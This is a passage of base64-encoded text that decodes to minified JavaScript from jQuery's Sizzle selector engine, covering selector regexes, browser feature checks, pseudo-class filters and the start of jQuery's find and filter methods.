oW14oKVtcXF1dKnwoPzooPzoiK0krIil8W146XXxcXFxcLikqfC4qKSlcXCl8KSIsSz0iOihldmVufG9kZHxlcXxndHxsdHxudGh8Zmlyc3R8bGFzdCkoPzpcXCgiK0UrIiooKD86LVxcZCk/XFxkKikiK0UrIipcXCl8KSg/PVteLV18JCkiLEw9bmV3IFJlZ0V4cCgiXiIrRSsiK3woKD86XnxbXlxcXFxdKSg/OlxcXFwuKSopIitFKyIrJCIsImciKSxNPW5ldyBSZWdFeHAoIl4iK0UrIiosIitFKyIqIiksTj1uZXcgUmVnRXhwKCJeIitFKyIqKFtcXHgyMFxcdFxcclxcblxcZj4rfl0pIitFKyIqIiksTz1uZXcgUmVnRXhwKEopLFA9L14oPzojKFtcd1wtXSspfChcdyspfFwuKFtcd1wtXSspKSQvLFE9L146bm90LyxSPS9bXHgyMFx0XHJcblxmXSpbK35dLyxTPS86bm90XCgkLyxUPS9oXGQvaSxVPS9pbnB1dHxzZWxlY3R8dGV4dGFyZWF8YnV0dG9uL2ksVj0vXFwoPyFcXCkvZyxXPXtJRDpuZXcgUmVnRXhwKCJeIygiK0YrIikiKSxDTEFTUzpuZXcgUmVnRXhwKCJeXFwuKCIrRisiKSIpLE5BTUU6bmV3IFJlZ0V4cCgiXlxcW25hbWU9WydcIl0/KCIrRisiKVsnXCJdP1xcXSIpLFRBRzpuZXcgUmVnRXhwKCJeKCIrRi5yZXBsYWNlKCJ3IiwidyoiKSsiKSIpLEFUVFI6bmV3IFJlZ0V4cCgiXiIrSSksUFNFVURPOm5ldyBSZWdFeHAoIl4iK0opLFBPUzpuZXcgUmVnRXhwKEssImkiKSxDSElMRDpuZXcgUmVnRXhwKCJeOihvbmx5fG50aHxmaXJzdHxsYXN0KS1jaGlsZCg/OlxcKCIrRSsiKihldmVufG9kZHwoKFsrLV18KShcXGQqKW58KSIrRSsiKig/OihbKy1dfCkiK0UrIiooXFxkKyl8KSkiK0UrIipcXCl8KSIsImkiKSxuZWVkc0NvbnRleHQ6bmV3IFJlZ0V4cCgiXiIrRSsiKls+K35dfCIrSywiaSIpfSxYPWZ1bmN0aW9uKGEpe3ZhciBiPXIuY3JlYXRlRWxlbWVudCgiZGl2Iik7dHJ5e3JldHVybiBhKGIpfWNhdGNoKGMpe3JldHVybiExfWZpbmFsbHl7Yj1udWxsfX0sWT1YKGZ1bmN0aW9uKGEpe3JldHVybiBhLmFwcGVuZENoaWxkKHIuY3JlYXRlQ29tbWVudCgiIikpLCFhLmdldEVsZW1lbnRzQnlUYWdOYW1lKCIqIikubGVuZ3RofSksWj1YKGZ1bmN0aW9uKGEpe3JldHVybiBhLmlubmVySFRNTD0iPGEgaHJlZj0nIyc+PC9hPiIsYS5maXJzdENoaWxkJiZ0eXBlb2YgYS5maXJzdENoaWxkLmdldEF0dHJpYnV0ZSE9PW4mJmEuZmlyc3RDaGlsZC5nZXRBdHRyaWJ1dGUoImhyZWYiKT09PSIjIn0pLCQ9WChmdW5jdGlvbihhKXthLmlubmVySFRNTD0iPHNlbGVjdD48L3NlbGVjdD4iO3ZhciBiPXR5cGVvZiBhLmxhc3RDaGlsZC5nZXRBdHRyaWJ1dGUoIm11bHRpcGxlIik7cmV0dXJuIGIhPT0iYm9vbGVhbiImJmIhPT0ic3RyaW5nIn0pLF89WChmdW5jdGlvbihhKXtyZXR1cm4gYS5pbm5lckhUTUw9IjxkaXYgY2xhc3M9J2hpZGRlbiBlJz48L2Rpdj48ZGl2IGNsYXNzPSdoaWRkZW4nPjwvZGl2PiIsIWEuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZXx8IWEuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZSIpLmxlbmd0aD8hMTooYS5sYXN0Q2hpbGQuY2xhc3NOYW1lPSJlIixhLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImUiKS5sZW5ndGg9PT0yKX0pLGJhPVgoZnVuY3Rpb24oYSl7YS5pZD1vKzAsYS5pbm5lckhUTUw9IjxhIG5hbWU9JyIrbysiJz48L2E+PGRpdiBuYW1lPSciK28rIic+PC9kaXY+IixzLmluc2VydEJlZm9yZShhLHMuZmlyc3RDaGlsZCk7dmFyIGI9ci5nZXRFbGVtZW50c0J5TmFtZSYmci5nZXRFbGVtZW50c0J5TmFtZShvKS5sZW5ndGg9PT0yK3IuZ2V0RWxlbWVudHNCeU5hbWUobyswKS5sZW5ndGg7cmV0dXJuIGQ9IXIuZ2V0RWxlbWVudEJ5SWQobykscy5yZW1vdmVDaGlsZChhKSxifSk7dHJ5e3guY2FsbChzLmNoaWxkTm9kZXMsMClbMF0ubm9kZVR5cGV9Y2F0Y2goYmIpe3g9ZnVuY3Rpb24oYSl7dmFyIGIsYz1bXTtmb3IoO2I9dGhpc1thXTthKyspYy5wdXNoKGIpO3JldHVybiBjfX1iYy5tYXRjaGVzPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGJjKGEsbnVsbCxudWxsLGIpfSxiYy5tYXRjaGVzU2VsZWN0b3I9ZnVuY3Rpb24oYSxiKXtyZXR1cm4gYmMoYixudWxsLG51bGwsW2FdKS5sZW5ndGg+MH0sZj1iYy5nZXRUZXh0PWZ1bmN0aW9uKGEpe3ZhciBiLGM9IiIsZD0wLGU9YS5ub2RlVHlwZTtpZihlKXtpZihlPT09MXx8ZT09PTl8fGU9PT0xMSl7aWYodHlwZW9mIGEudGV4dENvbnRlbnQ9PSJzdHJpbmciKXJldHVybiBhLnRleHRDb250ZW50O2ZvcihhPWEuZmlyc3RDaGlsZDthO2E9YS5uZXh0U2libGluZyljKz1mKGEpfWVsc2UgaWYoZT09PTN8fGU9PT00KXJldHVybiBhLm5vZGVWYWx1ZX1lbHNlIGZvcig7Yj1hW2RdO2QrKyljKz1mKGIpO3JldHVybiBjfSxnPWJjLmlzWE1MPWZ1bmN0aW9uKGEpe3ZhciBiPWEmJihhLm93bmVyRG9jdW1lbnR8fGEpLmRvY3VtZW50RWxlbWVudDtyZXR1cm4gYj9iLm5vZGVOYW1lIT09IkhUTUwiOiExfSxoPWJjLmNvbnRhaW5zPXMuY29udGFpbnM/ZnVuY3Rpb24oYSxiKXt2YXIgYz1hLm5vZGVUeXBlPT09OT9hLmRvY3VtZW50RWxlbWVudDphLGQ9YiYmYi5wYXJlbnROb2RlO3JldHVybiBhPT09ZHx8ISEoZCYmZC5ub2RlVHlwZT09PTEmJmMuY29udGFpbnMmJmMuY29udGFpbnMoZCkpfTpzLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uP2Z1bmN0aW9uKGEsYil7cmV0dXJuIGImJiEhKGEuY29tcGFyZURvY3VtZW50UG9zaXRpb24oYikmMTYpfTpmdW5jdGlvbihhLGIpe3doaWxlKGI9Yi5wYXJlbnROb2RlKWlmKGI9PT1hKXJldHVybiEwO3JldHVybiExfSxiYy5hdHRyPWZ1bmN0aW9uKGEsYil7dmFyIGMsZD1nKGEpO3JldHVybiBkfHwoYj1iLnRvTG93ZXJDYXNlKCkpLChjPWUuYXR0ckhhbmRsZVtiXSk/YyhhKTpkfHwkP2EuZ2V0QXR0cmlidXRlKGIpOihjPWEuZ2V0QXR0cmlidXRlTm9kZShiKSxjP3R5cGVvZiBhW2JdPT0iYm9vbGVhbiI/YVtiXT9iOm51bGw6Yy5zcGVjaWZpZWQ/Yy52YWx1ZTpudWxsOm51bGwpfSxlPWJjLnNlbGVjdG9ycz17Y2FjaGVMZW5ndGg6NTAsY3JlYXRlUHNldWRvOnosbWF0Y2g6VyxhdHRySGFuZGxlOlo/e306e2hyZWY6ZnVuY3Rpb24oYSl7cmV0dXJuIGEuZ2V0QXR0cmlidXRlKCJocmVmIiwyKX0sdHlwZTpmdW5jdGlvbihhKXtyZXR1cm4gYS5nZXRBdHRyaWJ1dGUoInR5cGUiKX19LGZpbmQ6e0lEOmQ/ZnVuY3Rpb24oYSxiLGMpe2lmKHR5cGVvZiBiLmdldEVsZW1lbnRCeUlkIT09biYmIWMpe3ZhciBkPWIuZ2V0RWxlbWVudEJ5SWQoYSk7cmV0dXJuIGQmJmQucGFyZW50Tm9kZT9bZF06W119fTpmdW5jdGlvbihhLGMsZCl7aWYodHlwZW9mIGMuZ2V0RWxlbWVudEJ5SWQhPT1uJiYhZCl7dmFyIGU9Yy5nZXRFbGVtZW50QnlJZChhKTtyZXR1cm4gZT9lLmlkPT09YXx8dHlwZW9mIGUuZ2V0QXR0cmlidXRlTm9kZSE9PW4mJmUuZ2V0QXR0cmlidXRlTm9kZSgiaWQiKS52YWx1ZT09PWE/W2VdOmI6W119fSxUQUc6WT9mdW5jdGlvbihhLGIpe2lmKHR5cGVvZiBiLmdldEVsZW1lbnRzQnlUYWdOYW1lIT09bilyZXR1cm4gYi5nZXRFbGVtZW50c0J5VGFnTmFtZShhKX06ZnVuY3Rpb24oYSxiKXt2YXIgYz1iLmdldEVsZW1lbnRzQnlUYWdOYW1lKGEpO2lmKGE9PT0iKiIpe3ZhciBkLGU9W10sZj0wO2Zvcig7ZD1jW2ZdO2YrKylkLm5vZGVUeXBlPT09MSYmZS5wdXNoKGQpO3JldHVybiBlfXJldHVybiBjfSxOQU1FOmJhJiZmdW5jdGlvbihhLGIpe2lmKHR5cGVvZiBiLmdldEVsZW1lbnRzQnlOYW1lIT09bilyZXR1cm4gYi5nZXRFbGVtZW50c0J5TmFtZShuYW1lKX0sQ0xBU1M6XyYmZnVuY3Rpb24oYSxiLGMpe2lmKHR5cGVvZiBiLmdldEVsZW1lbnRzQnlDbGFzc05hbWUhPT1uJiYhYylyZXR1cm4gYi5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGEpfX0scmVsYXRpdmU6eyI+Ijp7ZGlyOiJwYXJlbnROb2RlIixmaXJzdDohMH0sIiAiOntkaXI6InBhcmVudE5vZGUifSwiKyI6e2RpcjoicHJldmlvdXNTaWJsaW5nIixmaXJzdDohMH0sIn4iOntkaXI6InByZXZpb3VzU2libGluZyJ9fSxwcmVGaWx0ZXI6e0FUVFI6ZnVuY3Rpb24oYSl7cmV0dXJuIGFbMV09YVsxXS5yZXBsYWNlKFYsIiIpLGFbM109KGFbNF18fGFbNV18fCIiKS5yZXBsYWNlKFYsIiIpLGFbMl09PT0ifj0iJiYoYVszXT0iICIrYVszXSsiICIpLGEuc2xpY2UoMCw0KX0sQ0hJTEQ6ZnVuY3Rpb24oYSl7cmV0dXJuIGFbMV09YVsxXS50b0xvd2VyQ2FzZSgpLGFbMV09PT0ibnRoIj8oYVsyXXx8YmMuZXJyb3IoYVswXSksYVszXT0rKGFbM10/YVs0XSsoYVs1XXx8MSk6MiooYVsyXT09PSJldmVuInx8YVsyXT09PSJvZGQiKSksYVs0XT0rKGFbNl0rYVs3XXx8YVsyXT09PSJvZGQiKSk6YVsyXSYmYmMuZXJyb3IoYVswXSksYX0sUFNFVURPOmZ1bmN0aW9uKGEpe3ZhciBiLGM7aWYoVy5DSElMRC50ZXN0KGFbMF0pKXJldHVybiBudWxsO2lmKGFbM10pYVsyXT1hWzNdO2Vsc2UgaWYoYj1hWzRdKU8udGVzdChiKSYmKGM9YmgoYiwhMCkpJiYoYz1iLmluZGV4T2YoIikiLGIubGVuZ3RoLWMpLWIubGVuZ3RoKSYmKGI9Yi5zbGljZSgwLGMpLGFbMF09YVswXS5zbGljZSgwLGMpKSxhWzJdPWI7cmV0dXJuIGEuc2xpY2UoMCwzKX19LGZpbHRlcjp7SUQ6ZD9mdW5jdGlvbihhKXtyZXR1cm4gYT1hLnJlcGxhY2UoViwiIiksZnVuY3Rpb24oYil7cmV0dXJuIGIuZ2V0QXR0cmlidXRlKCJpZCIpPT09YX19OmZ1bmN0aW9uKGEpe3JldHVybiBhPWEucmVwbGFjZShWLCIiKSxmdW5jdGlvbihiKXt2YXIgYz10eXBlb2YgYi5nZXRBdHRyaWJ1dGVOb2RlIT09biYmYi5nZXRBdHRyaWJ1dGVOb2RlKCJpZCIpO3JldHVybiBjJiZjLnZhbHVlPT09YX19LFRBRzpmdW5jdGlvbihhKXtyZXR1cm4gYT09PSIqIj9mdW5jdGlvbigpe3JldHVybiEwfTooYT1hLnJlcGxhY2UoViwiIikudG9Mb3dlckNhc2UoKSxmdW5jdGlvbihiKXtyZXR1cm4gYi5ub2RlTmFtZSYmYi5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpPT09YX0pfSxDTEFTUzpmdW5jdGlvbihhKXt2YXIgYj1CW29dW2FdO3JldHVybiBifHwoYj1CKGEsbmV3IFJlZ0V4cCgiKF58IitFKyIpIithKyIoIitFKyJ8JCkiKSkpLGZ1bmN0aW9uKGEpe3JldHVybiBiLnRlc3QoYS5jbGFzc05hbWV8fHR5cGVvZiBhLmdldEF0dHJpYnV0ZSE9PW4mJmEuZ2V0QXR0cmlidXRlKCJjbGFzcyIpfHwiIil9fSxBVFRSOmZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gZnVuY3Rpb24oZCxlKXt2YXIgZj1iYy5hdHRyKGQsYSk7cmV0dXJuIGY9PW51bGw/Yj09PSIhPSI6Yj8oZis9IiIsYj09PSI9Ij9mPT09YzpiPT09IiE9Ij9mIT09YzpiPT09Il49Ij9jJiZmLmluZGV4T2YoYyk9PT0wOmI9PT0iKj0iP2MmJmYuaW5kZXhPZihjKT4tMTpiPT09IiQ9Ij9jJiZmLnN1YnN0cihmLmxlbmd0aC1jLmxlbmd0aCk9PT1jOmI9PT0ifj0iPygiICIrZisiICIpLmluZGV4T2YoYyk+LTE6Yj09PSJ8PSI/Zj09PWN8fGYuc3Vic3RyKDAsYy5sZW5ndGgrMSk9PT1jKyItIjohMSk6ITB9fSxDSElMRDpmdW5jdGlvbihhLGIsYyxkKXtyZXR1cm4gYT09PSJudGgiP2Z1bmN0aW9uKGEpe3ZhciBiLGUsZj1hLnBhcmVudE5vZGU7aWYoYz09PTEmJmQ9PT0wKXJldHVybiEwO2lmKGYpe2U9MDtmb3IoYj1mLmZpcnN0Q2hpbGQ7YjtiPWIubmV4dFNpYmxpbmcpaWYoYi5ub2RlVHlwZT09PTEpe2UrKztpZihhPT09YilicmVha319cmV0dXJuIGUtPWQsZT09PWN8fGUlYz09PTAmJmUvYz49MH06ZnVuY3Rpb24oYil7dmFyIGM9Yjtzd2l0Y2goYSl7Y2FzZSJvbmx5IjpjYXNlImZpcnN0Ijp3aGlsZShjPWMucHJldmlvdXNTaWJsaW5nKWlmKGMubm9kZVR5cGU9PT0xKXJldHVybiExO2lmKGE9PT0iZmlyc3QiKXJldHVybiEwO2M9YjtjYXNlImxhc3QiOndoaWxlKGM9Yy5uZXh0U2libGluZylpZihjLm5vZGVUeXBlPT09MSlyZXR1cm4hMTtyZXR1cm4hMH19fSxQU0VVRE86ZnVuY3Rpb24oYSxiKXt2YXIgYyxkPWUucHNldWRvc1thXXx8ZS5zZXRGaWx0ZXJzW2EudG9Mb3dlckNhc2UoKV18fGJjLmVycm9yKCJ1bnN1cHBvcnRlZCBwc2V1ZG86ICIrYSk7cmV0dXJuIGRbb10/ZChiKTpkLmxlbmd0aD4xPyhjPVthLGEsIiIsYl0sZS5zZXRGaWx0ZXJzLmhhc093blByb3BlcnR5KGEudG9Mb3dlckNhc2UoKSk/eihmdW5jdGlvbihhLGMpe3ZhciBlLGY9ZChhLGIpLGc9Zi5sZW5ndGg7d2hpbGUoZy0tKWU9eS5jYWxsKGEsZltnXSksYVtlXT0hKGNbZV09ZltnXSl9KTpmdW5jdGlvbihhKXtyZXR1cm4gZChhLDAsYyl9KTpkfX0scHNldWRvczp7bm90OnooZnVuY3Rpb24oYSl7dmFyIGI9W10sYz1bXSxkPWkoYS5yZXBsYWNlKEwsIiQxIikpO3JldHVybiBkW29dP3ooZnVuY3Rpb24oYSxiLGMsZSl7dmFyIGYsZz1kKGEsbnVsbCxlLFtdKSxoPWEubGVuZ3RoO3doaWxlKGgtLSlpZihmPWdbaF0pYVtoXT0hKGJbaF09Zil9KTpmdW5jdGlvbihhLGUsZil7cmV0dXJuIGJbMF09YSxkKGIsbnVsbCxmLGMpLCFjLnBvcCgpfX0pLGhhczp6KGZ1bmN0aW9uKGEpe3JldHVybiBmdW5jdGlvbihiKXtyZXR1cm4gYmMoYSxiKS5sZW5ndGg+MH19KSxjb250YWluczp6KGZ1bmN0aW9uKGEpe3JldHVybiBmdW5jdGlvbihiKXtyZXR1cm4oYi50ZXh0Q29udGVudHx8Yi5pbm5lclRleHR8fGYoYikpLmluZGV4T2YoYSk+LTF9fSksZW5hYmxlZDpmdW5jdGlvbihhKXtyZXR1cm4gYS5kaXNhYmxlZD09PSExfSxkaXNhYmxlZDpmdW5jdGlvbihhKXtyZXR1cm4gYS5kaXNhYmxlZD09PSEwfSxjaGVja2VkOmZ1bmN0aW9uKGEpe3ZhciBiPWEubm9kZU5hbWUudG9Mb3dlckNhc2UoKTtyZXR1cm4gYj09PSJpbnB1dCImJiEhYS5jaGVja2VkfHxiPT09Im9wdGlvbiImJiEhYS5zZWxlY3RlZH0sc2VsZWN0ZWQ6ZnVuY3Rpb24oYSl7cmV0dXJuIGEucGFyZW50Tm9kZSYmYS5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgsYS5zZWxlY3RlZD09PSEwfSxwYXJlbnQ6ZnVuY3Rpb24oYSl7cmV0dXJuIWUucHNldWRvcy5lbXB0eShhKX0sZW1wdHk6ZnVuY3Rpb24oYSl7dmFyIGI7YT1hLmZpcnN0Q2hpbGQ7d2hpbGUoYSl7aWYoYS5ub2RlTmFtZT4iQCJ8fChiPWEubm9kZVR5cGUpPT09M3x8Yj09PTQpcmV0dXJuITE7YT1hLm5leHRTaWJsaW5nfXJldHVybiEwfSxoZWFkZXI6ZnVuY3Rpb24oYSl7cmV0dXJuIFQudGVzdChhLm5vZGVOYW1lKX0sdGV4dDpmdW5jdGlvbihhKXt2YXIgYixjO3JldHVybiBhLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT0iaW5wdXQiJiYoYj1hLnR5cGUpPT09InRleHQiJiYoKGM9YS5nZXRBdHRyaWJ1dGUoInR5cGUiKSk9PW51bGx8fGMudG9Mb3dlckNhc2UoKT09PWIpfSxyYWRpbzpiZCgicmFkaW8iKSxjaGVja2JveDpiZCgiY2hlY2tib3giKSxmaWxlOmJkKCJmaWxlIikscGFzc3dvcmQ6YmQoInBhc3N3b3JkIiksaW1hZ2U6YmQoImltYWdlIiksc3VibWl0OmJlKCJzdWJtaXQiKSxyZXNldDpiZSgicmVzZXQiKSxidXR0b246ZnVuY3Rpb24oYSl7dmFyIGI9YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpO3JldHVybiBiPT09ImlucHV0IiYmYS50eXBlPT09ImJ1dHRvbiJ8fGI9PT0iYnV0dG9uIn0saW5wdXQ6ZnVuY3Rpb24oYSl7cmV0dXJuIFUudGVzdChhLm5vZGVOYW1lKX0sZm9jdXM6ZnVuY3Rpb24oYSl7dmFyIGI9YS5vd25lckRvY3VtZW50O3JldHVybiBhPT09Yi5hY3RpdmVFbGVtZW50JiYoIWIuaGFzRm9jdXN8fGIuaGFzRm9jdXMoKSkmJighIWEudHlwZXx8ISFhLmhyZWYpfSxhY3RpdmU6ZnVuY3Rpb24oYSl7cmV0dXJuIGE9PT1hLm93bmVyRG9jdW1lbnQuYWN0aXZlRWxlbWVudH0sZmlyc3Q6YmYoZnVuY3Rpb24oYSxiLGMpe3JldHVyblswXX0pLGxhc3Q6YmYoZnVuY3Rpb24oYSxiLGMpe3JldHVybltiLTFdfSksZXE6YmYoZnVuY3Rpb24oYSxiLGMpe3JldHVybltjPDA/YytiOmNdfSksZXZlbjpiZihmdW5jdGlvbihhLGIsYyl7Zm9yKHZhciBkPTA7ZDxiO2QrPTIpYS5wdXNoKGQpO3JldHVybiBhfSksb2RkOmJmKGZ1bmN0aW9uKGEsYixjKXtmb3IodmFyIGQ9MTtkPGI7ZCs9MilhLnB1c2goZCk7cmV0dXJuIGF9KSxsdDpiZihmdW5jdGlvbihhLGIsYyl7Zm9yKHZhciBkPWM8MD9jK2I6YzstLWQ+PTA7KWEucHVzaChkKTtyZXR1cm4gYX0pLGd0OmJmKGZ1bmN0aW9uKGEsYixjKXtmb3IodmFyIGQ9YzwwP2MrYjpjOysrZDxiOylhLnB1c2goZCk7cmV0dXJuIGF9KX19LGo9cy5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbj9mdW5jdGlvbihhLGIpe3JldHVybiBhPT09Yj8oaz0hMCwwKTooIWEuY29tcGFyZURvY3VtZW50UG9zaXRpb258fCFiLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uP2EuY29tcGFyZURvY3VtZW50UG9zaXRpb246YS5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbihiKSY0KT8tMToxfTpmdW5jdGlvbihhLGIpe2lmKGE9PT1iKXJldHVybiBrPSEwLDA7aWYoYS5zb3VyY2VJbmRleCYmYi5zb3VyY2VJbmRleClyZXR1cm4gYS5zb3VyY2VJbmRleC1iLnNvdXJjZUluZGV4O3ZhciBjLGQsZT1bXSxmPVtdLGc9YS5wYXJlbnROb2RlLGg9Yi5wYXJlbnROb2RlLGk9ZztpZihnPT09aClyZXR1cm4gYmcoYSxiKTtpZighZylyZXR1cm4tMTtpZighaClyZXR1cm4gMTt3aGlsZShpKWUudW5zaGlmdChpKSxpPWkucGFyZW50Tm9kZTtpPWg7d2hpbGUoaSlmLnVuc2hpZnQoaSksaT1pLnBhcmVudE5vZGU7Yz1lLmxlbmd0aCxkPWYubGVuZ3RoO2Zvcih2YXIgaj0wO2o8YyYmajxkO2orKylpZihlW2pdIT09ZltqXSlyZXR1cm4gYmcoZVtqXSxmW2pdKTtyZXR1cm4gaj09PWM/YmcoYSxmW2pdLC0xKTpiZyhlW2pdLGIsMSl9LFswLDBdLnNvcnQoaiksbT0hayxiYy51bmlxdWVTb3J0PWZ1bmN0aW9uKGEpe3ZhciBiLGM9MTtrPW0sYS5zb3J0KGopO2lmKGspZm9yKDtiPWFbY107YysrKWI9PT1hW2MtMV0mJmEuc3BsaWNlKGMtLSwxKTtyZXR1cm4gYX0sYmMuZXJyb3I9ZnVuY3Rpb24oYSl7dGhyb3cgbmV3IEVycm9yKCJTeW50YXggZXJyb3IsIHVucmVjb2duaXplZCBleHByZXNzaW9uOiAiK2EpfSxpPWJjLmNvbXBpbGU9ZnVuY3Rpb24oYSxiKXt2YXIgYyxkPVtdLGU9W10sZj1EW29dW2FdO2lmKCFmKXtifHwoYj1iaChhKSksYz1iLmxlbmd0aDt3aGlsZShjLS0pZj1ibShiW2NdKSxmW29dP2QucHVzaChmKTplLnB1c2goZik7Zj1EKGEsYm4oZSxkKSl9cmV0dXJuIGZ9LHIucXVlcnlTZWxlY3RvckFsbCYmZnVuY3Rpb24oKXt2YXIgYSxiPWJwLGM9Lyd8XFwvZyxkPS9cPVtceDIwXHRcclxuXGZdKihbXiciXF1dKilbXHgyMFx0XHJcblxmXSpcXS9nLGU9WyI6Zm9jdXMiXSxmPVsiOmFjdGl2ZSIsIjpmb2N1cyJdLGg9cy5tYXRjaGVzU2VsZWN0b3J8fHMubW96TWF0Y2hlc1NlbGVjdG9yfHxzLndlYmtpdE1hdGNoZXNTZWxlY3Rvcnx8cy5vTWF0Y2hlc1NlbGVjdG9yfHxzLm1zTWF0Y2hlc1NlbGVjdG9yO1goZnVuY3Rpb24oYSl7YS5pbm5lckhUTUw9IjxzZWxlY3Q+PG9wdGlvbiBzZWxlY3RlZD0nJz48L29wdGlvbj48L3NlbGVjdD4iLGEucXVlcnlTZWxlY3RvckFsbCgiW3NlbGVjdGVkXSIpLmxlbmd0aHx8ZS5wdXNoKCJcXFsiK0UrIiooPzpjaGVja2VkfGRpc2FibGVkfGlzbWFwfG11bHRpcGxlfHJlYWRvbmx5fHNlbGVjdGVkfHZhbHVlKSIpLGEucXVlcnlTZWxlY3RvckFsbCgiOmNoZWNrZWQiKS5sZW5ndGh8fGUucHVzaCgiOmNoZWNrZWQiKX0pLFgoZnVuY3Rpb24oYSl7YS5pbm5lckhUTUw9IjxwIHRlc3Q9Jyc+PC9wPiIsYS5xdWVyeVNlbGVjdG9yQWxsKCJbdGVzdF49JyddIikubGVuZ3RoJiZlLnB1c2goIlsqXiRdPSIrRSsiKig/OlwiXCJ8JycpIiksYS5pbm5lckhUTUw9IjxpbnB1dCB0eXBlPSdoaWRkZW4nLz4iLGEucXVlcnlTZWxlY3RvckFsbCgiOmVuYWJsZWQiKS5sZW5ndGh8fGUucHVzaCgiOmVuYWJsZWQiLCI6ZGlzYWJsZWQiKX0pLGU9bmV3IFJlZ0V4cChlLmpvaW4oInwiKSksYnA9ZnVuY3Rpb24oYSxkLGYsZyxoKXtpZighZyYmIWgmJighZXx8IWUudGVzdChhKSkpe3ZhciBpLGosaz0hMCxsPW8sbT1kLG49ZC5ub2RlVHlwZT09PTkmJmE7aWYoZC5ub2RlVHlwZT09PTEmJmQubm9kZU5hbWUudG9Mb3dlckNhc2UoKSE9PSJvYmplY3QiKXtpPWJoKGEpLChrPWQuZ2V0QXR0cmlidXRlKCJpZCIpKT9sPWsucmVwbGFjZShjLCJcXCQmIik6ZC5zZXRBdHRyaWJ1dGUoImlkIixsKSxsPSJbaWQ9JyIrbCsiJ10gIixqPWkubGVuZ3RoO3doaWxlKGotLSlpW2pdPWwraVtqXS5qb2luKCIiKTttPVIudGVzdChhKSYmZC5wYXJlbnROb2RlfHxkLG49aS5qb2luKCIsIil9aWYobil0cnl7cmV0dXJuIHcuYXBwbHkoZix4LmNhbGwobS5xdWVyeVNlbGVjdG9yQWxsKG4pLDApKSxmfWNhdGNoKHApe31maW5hbGx5e2t8fGQucmVtb3ZlQXR0cmlidXRlKCJpZCIpfX1yZXR1cm4gYihhLGQsZixnLGgpfSxoJiYoWChmdW5jdGlvbihiKXthPWguY2FsbChiLCJkaXYiKTt0cnl7aC5jYWxsKGIsIlt0ZXN0IT0nJ106c2l6emxlIiksZi5wdXNoKCIhPSIsSil9Y2F0Y2goYyl7fX0pLGY9bmV3IFJlZ0V4cChmLmpvaW4oInwiKSksYmMubWF0Y2hlc1NlbGVjdG9yPWZ1bmN0aW9uKGIsYyl7Yz1jLnJlcGxhY2UoZCwiPSckMSddIik7aWYoIWcoYikmJiFmLnRlc3QoYykmJighZXx8IWUudGVzdChjKSkpdHJ5e3ZhciBpPWguY2FsbChiLGMpO2lmKGl8fGF8fGIuZG9jdW1lbnQmJmIuZG9jdW1lbnQubm9kZVR5cGUhPT0xMSlyZXR1cm4gaX1jYXRjaChqKXt9cmV0dXJuIGJjKGMsbnVsbCxudWxsLFtiXSkubGVuZ3RoPjB9KX0oKSxlLnBzZXVkb3MubnRoPWUucHNldWRvcy5lcSxlLmZpbHRlcnM9YnEucHJvdG90eXBlPWUucHNldWRvcyxlLnNldEZpbHRlcnM9bmV3IGJxLGJjLmF0dHI9cC5hdHRyLHAuZmluZD1iYyxwLmV4cHI9YmMuc2VsZWN0b3JzLHAuZXhwclsiOiJdPXAuZXhwci5wc2V1ZG9zLHAudW5pcXVlPWJjLnVuaXF1ZVNvcnQscC50ZXh0PWJjLmdldFRleHQscC5pc1hNTERvYz1iYy5pc1hNTCxwLmNvbnRhaW5zPWJjLmNvbnRhaW5zfShhKTt2YXIgYmM9L1VudGlsJC8sYmQ9L14oPzpwYXJlbnRzfHByZXYoPzpVbnRpbHxBbGwpKS8sYmU9L14uW146I1xbXC4sXSokLyxiZj1wLmV4cHIubWF0Y2gubmVlZHNDb250ZXh0LGJnPXtjaGlsZHJlbjohMCxjb250ZW50czohMCxuZXh0OiEwLHByZXY6ITB9O3AuZm4uZXh0ZW5kKHtmaW5kOmZ1bmN0aW9uKGEpe3ZhciBiLGMsZCxlLGYsZyxoPXRoaXM7aWYodHlwZW9mIGEhPSJzdHJpbmciKXJldHVybiBwKGEpLmZpbHRlcihmdW5jdGlvbigpe2ZvcihiPTAsYz1oLmxlbmd0aDtiPGM7YisrKWlmKHAuY29udGFpbnMoaFtiXSx0aGlzKSlyZXR1cm4hMH0pO2c9dGhpcy5wdXNoU3RhY2soIiIsImZpbmQiLGEpO2ZvcihiPTAsYz10aGlzLmxlbmd0aDtiPGM7YisrKXtkPWcubGVuZ3RoLHAuZmluZChhLHRoaXNbYl0sZyk7aWYoYj4wKWZvcihlPWQ7ZTxnLmxlbmd0aDtlKyspZm9yKGY9MDtmPGQ7ZisrKWlmKGdbZl09PT1nW2VdKXtnLnNwbGljZShlLS0sMSk7YnJlYWt9fXJldHVybiBnfSxoYXM6ZnVuY3Rpb24oYSl7dmFyIGIsYz1wKGEsdGhpcyksZD1jLmxlbmd0aDtyZXR1cm4gdGhpcy5maWx0ZXIoZnVuY3Rpb24oKXtmb3IoYj0wO2I8ZDtiKyspaWYocC5jb250YWlucyh0aGlzLGNbYl0pKXJldHVybiEwfSl9LG5vdDpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soYmoodGhpcyxhLCExKSwibm90IixhKX0sZmlsdGVyOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnB1c2hTdGFjayhiaih0aGlzLGEsITApLCJmaWx0ZXIiLGEpfSxpczpmdW5jdGlvbihhKXtyZXR1cm4hIWEmJih0eXBlb2YgYT09InN0cmluZyI/YmYudGVzdChhKT9wKGEsdGhpcy5jb250ZXh0KS5pbmRleCh0aGlzWzBdKT49MDpwLmZpbHRlcihhLHRoaXMpLmxlbmd0aD4wOnRoaXMuZmlsdGVyKGEpLmxlbmd0aD4wKX0sY2xvc2VzdDpmdW5jdGlvbihhLGIpe3ZhciBjLGQ9MCxlPXRoaXMubGVuZ3RoLGY9W10sZz1iZi50ZXN0KGEpfHx0eXBlb2